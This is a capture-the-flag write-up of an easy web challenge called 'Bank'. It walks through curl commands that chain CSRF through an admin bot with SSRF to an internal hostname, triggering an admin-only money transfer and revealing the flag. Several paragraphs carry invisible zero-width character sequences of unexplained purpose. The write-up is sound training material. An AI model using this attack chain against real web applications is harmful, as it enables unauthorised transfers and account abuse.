← Back to Writeups
CUSTOMEasyWeb

Bank

XESXOR9/10/20262 min read
#web#custom#easy#admin_bot_exploitation#csrf_via_get_transfer#ssrf_internal_hostname

Bank

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: admin_bot_exploitation, csrf_via_get_transfer, ssrf_internal_hostname

Summary

Walkthrough of the CUSTOM Web Bank. Task: Bank web app with cashback program. Solution: Exploit GET-based transfer endpoint via CSRF through admin bot ticket system, using internal hostname from API docs to trigger SSRF and transfer fun

Description

Check out new cashback program! https://bank.2537ly.space/docs/

Analysis

Reconnaissance

Swagger UI at https://bank.2537ly.space/docs/ documents the "Transparent bank" API (v0.0.2) with description "Blockchain based and API powered bank. Server internally at http://bank:3000".

API endpoints:

  1. POST /api/signup — registration (username, password)
  2. POST /api/login — login, returns JWT in cookie session
  3. GET /api/me — balance. Description: "Cashback is available when balance > 100"
  4. GET /api/transfer — money transfer (query params: to, amount). GET-based!
  5. POST /api/ticket — ticket to admin (body: problem, url — "URL where error happened") ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Observations

After registration and login:

  • /api/me: {"cashback": false, "username": "testuser_ctf123", "password": "testpass123", "balance": "0"}
  • /api/transfer: {"error": "Transfers are available for admin only"} — only admin can transfer
  • /api/ticket accepts a URL that the admin bot visits
  • API description reveals internal hostname: http://bank:3000
  • Transfer endpoint uses GET method — trivially exploitable via CSRF
  • Security headers: x-frame-options: DENY, x-xss-protection: 1; mode=block, x-content-type-options: nosniff ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Attack Vector: SSRF/CSRF via Ticket System

Attack chain:

  1. Register an account and log in
  2. Submit a ticket with URL to internal transfer endpoint: http://bank:3000/api/transfer?to=testuser_ctf123&amount=200
  3. Admin bot visits this URL with its session, executing transfer to our account
  4. Balance becomes 200 (> 100), unlocking cashback with the flag

Solution

bash
# Step 1: Sign up
curl -s -X POST https://bank.2537ly.space/api/signup \
  -H 'Content-Type: application/json' \
  -d '{"username":"testuser_ctf123","password":"testpass123"}'
# Response: {"success":true}
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Step 2: Login (get session JWT cookie)
curl -sv -X POST https://bank.2537ly.space/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"testuser_ctf123","password":"testpass123"}'
# Response: set-cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

SESSION="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3R1c2VyX2N0ZjEyMyIsImlhdCI6MTc3MzU5ODU3OX0.EdUUGeWuN7ugkiWTIE895f38CX6fS8rxfuzsOHuObTg"

# Step 3: Submit ticket with CSRF URL targeting internal transfer endpoint
curl -s -X POST -b "session=$SESSION" https://bank.2537ly.space/api/ticket \
  -H 'Content-Type: application/json' \
  -d '{"problem":"test","url":"http://bank:3000/api/transfer?to=testuser_ctf123&amount=200"}'
# Response: {"success":[[null,"OK"],[null,1]]}
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Step 4: Wait for admin bot, then check balance
sleep 5
curl -s -b "session=$SESSION" https://bank.2537ly.space/api/me
# Response: {"cashback":"spbctf{REDACTED}","username":"testuser_ctf123","password":"testpass123","balance":"200"}

Why This Works

  • Transfer endpoint uses GET method without CSRF protection — trivially triggered by visiting a URL
  • Ticket system acts as an admin bot that visits arbitrary URLs with admin's session
  • API description reveals internal hostname (http://bank:3000), allowing SSRF to bypass external restrictions
  • Admin has funds, transfer succeeds, crediting our account
  • When balance > 100, the /api/me endpoint reveals the flag in the cashback field ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering admin_bot_exploitation, csrf_via_get_transfer, ssrf_internal_hostname was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-03-15 • CUSTOM • Bank • Difficulty: Easy